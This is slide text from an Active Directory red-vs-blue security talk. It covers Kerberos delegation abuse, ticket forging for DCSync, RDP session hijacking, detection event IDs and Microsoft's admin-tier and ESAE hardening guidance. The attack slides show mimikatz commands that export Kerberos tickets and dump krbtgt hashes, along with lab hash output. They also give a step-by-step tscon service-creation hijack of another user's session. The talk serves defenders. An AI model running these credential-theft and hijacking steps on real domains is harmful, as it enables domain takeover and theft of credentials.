4. TGS REP (receive TGS) TGS contains user’s TGT!
5. AP_REQ (present TGS for access) TGS contains user’s TGT!
6. TGS_REQ (present user’s TGT for TGS)
7. TGS REP (TGS based on user’s TGT)

Domain Controller

User’s Workstation

Application Server (Unconstrained Delegation)
Kerberos Unconstrained Delegation

```
mimikatz(commandline) # sekurlsa::tickets /export

Authentication Id : 0 : 167402 <00000000000028dea>
Session : Network From 0
User Name : LukeSkywalker
Domain : ADSECLAB
Logon Server : <null>
SID : S-1-5-21-1583770191-140008446-3268284411-1109

* Username : LukeSkywalker
* Domain : LAB.ADSECURITY.ORG
* Password : <null>

Group 0 - Ticket Granting Service

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket

[00000000]


Service Name <02> : krbtgt; LAB.ADSECURITY.ORG; @ LAB.ADSECURITY.ORG
Target Name <--> : @ LAB.ADSECURITY.ORG
Client Name <01> : LukeSkywalker; @ LAB.ADSECURITY.ORG
Flags 60a10000 : name_canonicalize; pre_authentic; renewable; forwarded; forwardable;
Session Key : 0x00000002 - aes256_hmac
"fe4dc9d3b939242d8d68d8d3088e74f6016bc4b130b8b04e9817e57f1d51575
Ticket : 0x00000012 - aes256_hmac ; kuno = 2

* Saved to file [0;28dea]-2-0-60a10000-LukeSkywalker@krbtgt-LAB.ADSECURITY.ORG.kirbi !
```

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberos Unconstrained Delegation
Exploiting Kerberos Delegation

```powershell
PS C:\temp\m> Enter-PSsession -ComputerName ADSDC02.lab.adsecurity.org
[adsdc02.lab.adsecurity.org]: PS C:\Users\LukeSkywalker\Documents> c:\temp\mimikatz\Mimikatz "privilege::debug" "sekurlsa::krbtgt" exit

mimikatz 2.0 alpha <x64> release "Kiwi en C" <May 29 2015 23:55:17>

Benjamin DELPY `gentilkiwi` < benjamin@gentilkiwi.com >
http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::krbtgt

Current krbtgt: 6 credentials
* rc4_hmac_nt  : 1a33736fd25ad06dd9c61310173bc326
* rc4_hmac_old : 1a33736fd25ad06dd9c61310173bc326
* rc4_md4       : 1a33736fd25ad06dd9c61310173bc326
* aes256_hmac   : 20d7c5cf8eafbd478c79e86e6bba1c2019b2ed432f9b32141c5f7104e69e
* aes128_hmac   : 2433f1c6d10a2d466294ff983a625956
* des_cbc_md5   : f1f82968ba1f137
```
Constrained Delegation

- Impersonate authenticated user to allowed services.

- If Attacker owns Service Account = impersonate user to specific service on server.
KCD Protocol Transition

• Less secure than “Use Kerberos only”.

• Enables impersonation without prior AD authentication (NTLM/Kerberos).
Control Delegation... Control AD

Domain Controllers Policy

Enable computer and user accounts to be trusted for delegation

☑ Define these policy settings:

Administrators
TrustyMcServiceAccount

Full Control on Servers OU

Servers Properties

Group or user names:
- CREATOR OWNER
- SELF
- Authenticated Users
- SYSTEM
- Server Admins (ADSECLAB\ServerAdmins)
- SyncAccount (SyncAccount@lab.adsecurity.org)

Permissions for Server Admins
- Allow
- Deny
- Full control
- Read
- Write
- Create all child objects
- Delete all child objects

For special permissions or advanced settings, click Advanced.
DC Silver Ticket for ‘LDAP’ Service - > DCSync

```c
User : LukeSkywalker
Domain : RD.ADSECURITY.ORG
SID : S-1-5-21-2578996962-4185879466-3696909401
User Id : 500
Groups Id : 8513 513 520 518 519
ServiceKey: 595d436f11270dc4df953f217fcfbdd2 - rc4_hmac_nt
Target : rdlabdc02.rd.adsecurity.org

--> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ RD.ADSECURITY.ORG' successfully submitted for current session
```

DerbyCon 2015: Red vs. Blue: Modern Active Directory Attacks & Defense

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
KCD Protocol Transition To DCSYNC

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Discovering All Kerberos Delegation

UserAccountControl 0x0080000 = Any Service (Kerberos Only), ELSE Specific Services
UserAccountControl 0x1000000 = Any Auth Protocol (Protocol Transition), ELSE Kerberos Only
msds-AllowedToDelegateTo = List of SPNs for Constrained Delegation

Unconstrained
Constrained

KCD – Protocol Transition

Unconstrained
Constrained

Delegation is a security-sensitive operation, which allows services to be performed on behalf of another user.

Do not trust this computer for delegation
Trust this computer for delegation to any service (Kerberos)
Trust this computer for delegation to specific services only

Use Kerberos only
Use any authentication protocol

Unconstrained
Constrained

Delegation is a security-sensitive operation, which allows services to be performed on behalf of another user.

Do not trust this computer for delegation
Trust this computer for delegation to any service (Kerberos)
Trust this computer for delegation to specific services only

Use Kerberos only
Use any authentication protocol

Unconstrained
Constrained

Delegation is a security-sensitive operation, which allows services to be performed on behalf of another user.

Do not trust this computer for delegation
Trust this computer for delegation to any service (Kerberos)
Trust this computer for delegation to specific services only

Use Kerberos only
Use any authentication protocol


Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberos Delegation Mitigations

GOOD:
• Set all AD Admin accounts to: "Account is sensitive and cannot be delegated"

BEST:
• Add all AD Admin accounts to the “Protected Users” group (Windows 2012 R2 DFL).
• Use delegation service accounts with long, complex passwords (preferably group Managed Service Accounts).
• Don’t use Domain Controller SPNs when delegating.
• Monitor who has the ability to configure Kerberos delegation.

Limitation: Service Accounts can’t be added to Protected Users and are not/cannot be set with “Account is sensitive and cannot be delegated”
Attacker Capability & Mitigations
Attackers Require...

• Account (credentials)
• Rights (privileges)
• Access (connectivity to resources)
Traditional AD Administration

• All admins are Domain Admins.
• Administration from anywhere – servers, workstations, Starbucks.
• Need a service account with AD rights – Domain Admin!
• Need to manage user accounts – Account Operators!
• Need to run backups (anywhere) – Backup Operators!
• Management system deploys software & patches all workstations, servers, & Domain Controllers.
• Agents, everywhere!
• Full Compromise... Likely

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
As an Attacker, Do I Need Domain Admin?

No.
Avenues to Compromise

- GPO permissions
- AD Permissions
- Improper group nesting
- Over-permissioned accounts
- Service account access
- Kerberos Delegation
- Password Vaults
- Backup Process
In the Real World, Rights are Everywhere

• Workstation Admins have full control on workstation computer objects and local admin rights.
• Server Admins have full control on server computer objects and local admin rights.
• Often, Server Admins are Exchange Admins.
• Sometimes Server Admins have rights to Domain Controllers.
• Help Desk Admins have local admin rights and remote control on user workstations.
• Local admin accounts & passwords often the same among workstations, and sometimes the same among servers.
• “Temporary” admin group assignments often become permanent.
Accidental Privilege Escalation
Accidental Privilege Escalation

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Red Team Perspective
Securing AD Counterpoint

• AD is only as secure as the AD admin accounts.
• Domain Admin accounts are everywhere!
  • DAs logon to Exchange, SCCM, servers, and workstations.
  • Service Accounts in DA are often used on domain computers.
  • Authenticated security scans can leave privileged creds behind

• Account right is combination of:
  • Group Membership (AD & local computer)
  • Delegated OU & GPO permissions

• Compromise the right account or computer to own AD
Jump (Admin) Servers

• If Admins are **not** using Admin workstations, keylog for creds on admin’s workstation.

• Discover all potential remoting services.
  • RDP (2FA?)
  • WMI
  • WinRM/PowerShell Remoting
  • PSEexec
  • NamedPipe

• Compromise a Jump Server, Own the domain!

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Hijacking the Admin/Jump Server

• Get Admin on the server
• Get SYSTEM
• Run tscon.exe as SYSTEM

"if you run tscon.exe as the SYSTEM user, you can connect to any session without a password"

https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
Another method is to create a service that will connect selected session to ours.

1. Get all sessions information:

```
C:\Windows\system32>query user
USERNAME       SESSIONNAME       ID   STATE   IDLE TIME   LOGON TIME
administrator   rdp-tcp#55       1    Disc    1          3/12/2017 3:07 PM
localadmin     rdp-tcp#55       2    Active   .           3/12/2017 3:10 PM
```

2. Create service which will hijack user's session:

```
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
[SC] CreateService SUCCESS
```

3. Start service:

```
net start sesshijack
```

Right after that your session will be replaced with target session.
Alexander Korznikov demonstrates using Sticky Keys and tscon to access an administrator RDP session — without even logging into the server.

https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
Microsoft Active Directory Security Guidance

It looks like you have Active Directory. Would you like assistance with securing it?
Security Privileged Access Roadmap: Stage 1

1. Separate Admin account for admin tasks

2. Privileged Access Workstations (PAWs)
   Phase 1 - Active Directory admins
   http://Aka.ms/CyberPAW

3. Unique Local Admin Passwords for Workstations
   http://Aka.ms/LAPS

4. Unique Local Admin Passwords for Servers
   http://Aka.ms/LAPS

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Security Privileged Access Roadmap: Stage 2

1. Privileged Access Workstations (PAWs)
   Phases 2 and 3 - All Admins and additional hardening
   (Credential Guard, RDP Restricted Admin, etc.)
   http://aka.ms/CyberPAW

2. Time-bound privileges (no permanent admins)
   http://aka.ms/PAM
   http://aka.ms/AzurePIM

3. Multi-factor for elevation

4. Just Enough Admin (JEA)
   for DC Maintenance
   http://aka.ms/JEA

5. Lower attack surface of Domain and DCs
   http://aka.ms/HardenAD

6. Attack Detection
   http://aka.ms/ata
## PAW Update:
### O365 Global Admin Role = Tier 0

<table>
<thead>
<tr>
<th>Admin Office</th>
<th>Yes</th>
<th>A PAW built using the guidance provided in Phase 2 is sufficient for this role.</th>
</tr>
</thead>
<tbody>
<tr>
<td>365 Tenant</td>
<td></td>
<td>- PAWs should be used for at least the Subscription Billing administrator,</td>
</tr>
<tr>
<td>- Tier 1</td>
<td></td>
<td>Global administrator, Exchange administrator, SharePoint administrator, and</td>
</tr>
<tr>
<td></td>
<td></td>
<td>User management administrator roles. You should also strongly consider the</td>
</tr>
<tr>
<td></td>
<td></td>
<td>use of PAWs for delegated administrators of highly critical or sensitive data.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- EMET should be configured for all browsers used on the workstation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- The outbound network restrictions must allow connectivity only to Microsoft</td>
</tr>
<tr>
<td></td>
<td></td>
<td>services using the guidance in Phase 2. No open internet access should be</td>
</tr>
<tr>
<td></td>
<td></td>
<td>allowed from PAWs.</td>
</tr>
</tbody>
</table>

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/privileged-access-workstations

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Lower attack surface of Domain & DCs: What’s Missing?

- Clear guidance on recommended GPO security settings beyond default.
- Protocol/feature reduction/lockdown
- Implementation guidance for implementing Admin systems (PAWs, Admin/Jump servers, etc) to limit management protocols.
- Beyond RDP: Limit WMI, WinRM, etc
- AppLocker on DCs...
- The last 4 - 5 items are focused on preventing DC internet access. Use a host firewall/IPSec rule and reinforce on perimeter firewalls and call it a day.

Securing Domain Controllers to Improve Active Directory Security
https://adsecurity.org/?p=3377
Lower attack surface of Domain & DCs

Virtual Domain Controllers

If you implement virtual domain controllers, you should ensure that domain controllers run on separate physical hosts than other virtual machines in the environment. Even if you use a third-party virtualization platform, consider deploying virtual domain controllers on Hyper-V Server in Windows Server 2012 or Windows Server 2008 R2, which provides a minimal attack surface and can be managed with the domain controllers it hosts rather than being managed with the rest of the virtualization hosts. If you implement System Center Virtual Machine Manager (SCVMM) for management of your virtualization infrastructure, you can delegate administration for the physical hosts on which domain controller virtual machines reside and the domain controllers themselves to authorized administrators. You should also consider separating the storage of virtual domain controllers to prevent storage administrators from accessing the virtual machine files.
## Attack Detection: What We Need

### A Note About Logon Types (4624)

<table>
<thead>
<tr>
<th>Logon Type #</th>
<th>Name</th>
<th>Description</th>
<th>Creds on Disk</th>
<th>Creds in Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>System</td>
<td>Typically rare, but could alert to malicious activity</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>Interactive</td>
<td>Console logon (local keyboard) which includes server KVM or virtual client logon. Also standard RunAs.</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>3</td>
<td>Network</td>
<td>Accessing file shares, printers, IIS (integrated auth, etc), PowerShell remoting</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>4</td>
<td>Batch</td>
<td>Scheduled tasks</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>5</td>
<td>Service</td>
<td>Services</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>7</td>
<td>Unlock</td>
<td>Unlock the system</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>8</td>
<td>Network Clear Text</td>
<td>Network logon with password in clear text (IIS basic auth). If over SSL/TLS, this is probably fine.</td>
<td>Maybe</td>
<td>Yes</td>
</tr>
<tr>
<td>9</td>
<td>New Credentials</td>
<td>RunAs /NetOnly which starts a program with different credentials than logged on user</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>10</td>
<td>Remote Interactive</td>
<td>RDP: Terminal Services, Remote Assistance, R.Desktop</td>
<td>Maybe</td>
<td>Yes*</td>
</tr>
<tr>
<td>11</td>
<td>Cached Interactive</td>
<td>Logon with cached credentials (no DC online)</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

*Yes* indicates that the logon type involves credentials being saved in memory.
# Attack Detection: What We Need

## Event IDs that Matter: All Windows systems

<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>1102/517</td>
<td>Event log cleared</td>
<td>Attackers may clear Windows event logs.</td>
</tr>
<tr>
<td>4610/4611/4614/4622</td>
<td>Local Security Authority modification</td>
<td>Attackers may modify LSA for escalation/persistence.</td>
</tr>
<tr>
<td>4648</td>
<td>Explicit credential logon</td>
<td>Typically when a logged on user provides different credentials to access a resource. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4661</td>
<td>A handle to an object was requested</td>
<td>SAM/DSA Access. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4672</td>
<td>Special privileges assigned to new logon</td>
<td>Monitor when someone with admin rights logs on. Is this an account that should have admin rights or a normal user?</td>
</tr>
<tr>
<td>4723</td>
<td>Account password change attempted</td>
<td>If it’s not an approved/known pw change, you should know.</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons.</td>
</tr>
<tr>
<td>7045/4697</td>
<td>New service was installed</td>
<td>Attackers often install a new service for persistence.</td>
</tr>
<tr>
<td>4698 &amp; 4702</td>
<td>Scheduled task creation/modification</td>
<td>Attackers often create/modify scheduled tasks for persistence. Pull all events in Microsoft-Windows-TaskScheduler/Operational</td>
</tr>
<tr>
<td>4719/612</td>
<td>System audit policy was changed</td>
<td>Attackers may modify the system’s audit policy.</td>
</tr>
<tr>
<td>4732</td>
<td>A member was added to a (security-enabled) local group</td>
<td>Attackers may create a new local account &amp; add it to the local Administrators group.</td>
</tr>
<tr>
<td>4720</td>
<td>A (local) user account was created</td>
<td>Attackers may create a new local account for persistence.</td>
</tr>
</tbody>
</table>
# Attack Detection: What We Need

## Event IDs that Matter: Domain Controllers

<table>
<thead>
<tr>
<th>Event ID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>4768</td>
<td>Kerberos auth ticket (TGT) was requested</td>
<td>Track user Kerb auth, with client/workstation name.</td>
</tr>
<tr>
<td>4769</td>
<td>User requests a Kerberos service ticket</td>
<td>Track user resource access requests &amp; Kerberoasting</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons</td>
</tr>
<tr>
<td>4625/4771</td>
<td>Logon failure</td>
<td>Interesting logon failures. 4771 with 0x18 = bad pw</td>
</tr>
<tr>
<td>4765/4766</td>
<td>SID History added to an account/attempt failed</td>
<td>If you aren’t actively migrating accounts between domains, this could be malicious</td>
</tr>
<tr>
<td>4794</td>
<td>DSRM account password change attempt</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4780</td>
<td>ACLs set on admin accounts</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4739/643</td>
<td>Domain Policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4713/617</td>
<td>Kerberos policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4724/628</td>
<td>Attempt to reset an account’s password</td>
<td>Monitor for admin &amp; sensitive account pw reset</td>
</tr>
<tr>
<td>4735/639</td>
<td>Security-enabled local group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4737/641</td>
<td>Security-enabled global group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4755/659</td>
<td>Security-enabled universal group changed</td>
<td>Monitor admin &amp; sensitive group membership changes</td>
</tr>
<tr>
<td>5136</td>
<td>A directory service object was modified</td>
<td>Monitor for GPO changes, admin account modification, specific user attribute modification, etc.</td>
</tr>
</tbody>
</table>

Sean Metcalf (@Pyrotek3 | sean@TrimarcSecurity.com)
**Attack Detection: Password Spraying**

---

**Event 4625, Microsoft Windows security auditing.**

<table>
<thead>
<tr>
<th>General</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Subject:</strong></td>
<td></td>
</tr>
<tr>
<td>Security ID:</td>
<td>NULL SID</td>
</tr>
<tr>
<td>Account Name:</td>
<td>-</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>-</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Logon Type:</td>
<td>3</td>
</tr>
<tr>
<td>Account For Which Logon Failed:</td>
<td></td>
</tr>
<tr>
<td>Security ID:</td>
<td>NULL SID</td>
</tr>
<tr>
<td>Account Name:</td>
<td><a href="mailto:Michael.Thompson@lab.adsecurity.org">Michael.Thompson@lab.adsecurity.org</a></td>
</tr>
<tr>
<td>Account Domain:</td>
<td></td>
</tr>
<tr>
<td>Failure Information:</td>
<td></td>
</tr>
<tr>
<td>Failure Reason:</td>
<td>Unknown user name or bad password.</td>
</tr>
<tr>
<td>Status:</td>
<td>0xC000006D</td>
</tr>
<tr>
<td>Sub Status:</td>
<td>0xC000006A</td>
</tr>
<tr>
<td>Process Information:</td>
<td></td>
</tr>
<tr>
<td>Caller Process ID:</td>
<td>0x0</td>
</tr>
</tbody>
</table>

**Network Information:**

- Client Address: 2600:1006:b10be85b0:a4e9:ce5:9777:96c
- Client Port: 55431

**Failure Information:**

- Ticket Options: 0x40810010
- **Failure Code:** 0x18
- Pre-Authentication Type: 2

---

**Event 4771, Microsoft Windows security auditing.**

<table>
<thead>
<tr>
<th>General</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Account Information:</strong></td>
<td></td>
</tr>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\Peyton.Davis</td>
</tr>
<tr>
<td>Account Name:</td>
<td>Peyton.Davis</td>
</tr>
<tr>
<td><strong>Service Information:</strong></td>
<td></td>
</tr>
<tr>
<td>Service Name:</td>
<td>krbtgt/ADSECLAB</td>
</tr>
<tr>
<td><strong>Network Information:</strong></td>
<td></td>
</tr>
<tr>
<td>Client Address:</td>
<td>2600:1006:b10be85b0:a4e9:ce5:9777:96c</td>
</tr>
<tr>
<td>Client Port:</td>
<td>55431</td>
</tr>
</tbody>
</table>

---

**Certificate Information:**

- Certificate Issuer Name: |
- Certificate Serial Number: |
- Certificate Thumbprint: |

---

**Log Name:** Security

| Source: | Microsoft Windows security |
| Logged: | 4/11/2017 13:35:46 |

---

**Log Name:** Security

| Source: | Microsoft Windows security |
| Logged: | 4/11/2017 10:20:53 PM |

---

**Event ID:** 4625

**Task Category:** Logon

**Level:** Information

**Keywords:** Audit Failure

**User:** N/A

**Computer:** ADSMDC16.lab.adsecurity.org

---

**Event ID:** 4771

**Task Category:** Kerberos Authentication Service

**Level:** Information

**Keywords:** Audit Failure

**User:** N/A

**Computer:** ADSMDC16.lab.adsecurity.org
Attack Detection: Kerberoast Detection

- Event ID 4769
  - Ticket Options: 0x40810000
  - Ticket Encryption: 0x17
- Need to filter out service accounts (Account Name) & computers (Service Name).
- Inter-forest tickets use RC4 unless configured to use AES.
- ADFS also uses RC4.
Security Privileged Access Roadmap: Stage 3

1. Modernize Roles and Delegation Model

2. Smartcard or Passport Authentication for all admins
   http://aka.ms/Passport

3. Admin Forest for Active Directory administrators
   http://aka.ms/ESAE

4. Code Integrity Policy for DCs (Server 2016)

5. Shielded VMs for virtual DCs (Server 2016 Hyper-V Fabric)
   http://aka.ms/shieldedvms

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Let’s Talk Tiers!

Would you like administrative tiers with that?
AD Admin Tiers


Sean Metcalf (@PyroTek3) TrimarcSecurity.com
AD Admin Tiers


Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Achieving Tier 0: AD Admin & DCs

- DCs have separate management and patching system than other tiers (ex. WSUS or SCCM).
- All admin systems for DCs and other systems in Tier 0 only exist in this tier.
- All AD admin accounts use PAWs.
- All privileged AD service accounts are only on Tier 0 systems.
- Requires all relevant systems to exist in this tier.
  - Domain Controllers
  - ADFS
  - Azure AD Connect Server
  - Virtualization Platform servers

Difficulty Level: High
Achieving Tier 1: Servers & Server Admin

- Servers have separate management and patching system than other tiers (ex. WSUS or SCCM).
- All admin systems for Servers only exist in this tier.
- All admin accounts use PAWs.
- All privileged AD service accounts are only on Tier 1 systems.
- Requires all relevant systems to exist in this tier.

Difficulty Level: High
Achieving Tier 2: Workstations & Administration

• Workstations have separate management and patching system than other tiers (ex. WSUS or SCCM).
• All admin systems for Workstations only exist in this tier.
• All admin accounts use PAWs.
• All privileged AD service accounts are only on Tier 2 systems.
• Requires all relevant systems to exist in this tier.

Difficulty Level: Medium-High
What’s Missing?

• Removing local admin rights from users.
• Limiting broad system access
  • Workstation Admin
  • Server Admin
• Limiting network access from any system to any system (host-based firewall with default block inbound rule.
• Practical guidance on achieving each tier with case studies.
• Service Account risks
Red Forest aka ESAE
Separate forest for Active Directory Administration

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Admin Forest
aka Enhanced Security Administrative Environment (ESAE)
ESAE Key Components

• New Windows Server 2016 AD Forest with high security configuration.
• ESAE forest is isolated from the production network with strong network controls and only allows encrypted communication to production DCs & select AD Admin systems.
• 1-way trust with Selective Authentication (production AD forest trusts ESAE).
• Production AD admin groups are empty, except group for ESAE admin groups.
• No production AD admin groups/accounts in ESAE have admin rights to ESAE.
• All systems run Windows 10/ Windows Server 2016.
• Auto-patching by ESAE management/patching system.
• Production AD admin accounts in ESAE should not retain full-time Production AD admin group membership and require MFA for authentication.
• ESAE should be carefully monitored for anomalous activity.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
ESAE/Red Forest Implementation

• Assume Breach
• Before deploying, check the environment
• Start clean, stay clean
• If the production AD environment is compromised, what does ESAE buy you?
• What should be done first?
Red Forest Limitations

• Expensive to deploy
• Greatly increases management overhead & cost.
• Duplicate infrastructure.
• Requires physical hardware
• Requires PKI Infrastructure.
• Doesn’t fix production AD issues.
• Doesn’t resolve expansive rights over workstations & servers.

Best Case: Isolates AD Admin accounts

What about domain privileged Service Accounts?
Wrapping It Up
Things that Matter

• Ensure local admin passwords are unique and change regularly.
• Install/enable host firewall on all workstations to prevent lateral movement by attackers and ransomware.
• Host firewalls on servers and Domain Controllers.
• Reduce AD admin group membership.
• Limit service account privileges.
• Ensure AD admins only use AD admin systems (PAW).
• Breaking bad - disabling old & uncommon features and protocols to reduce the Windows attack surface
  • LM, NTLM, SMBv1, LLMNR, WPAD, NetBIOS, etc.
• Control Office macros.
Key Recommendations

• Identify who has AD admin rights (domain/forest) & isolate them to Admin systems. Reducing membership in Domain Admins is only the beginning. Reducing accounts with domain-level privileges is critical.

• Ensure AD & Cloud Admins use PAWs.

• Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions.

• Identify and reduce legacy permissions on Active Directory objects.

• Regularly rotate admin credentials (includes KRBTGT, DSRM, etc) quarterly/annually & when AD admins leave.

• Ensure service account password changes occur annually.

• Gain visibility by flowing the most useful security & PowerShell events into SIEM/Splunk.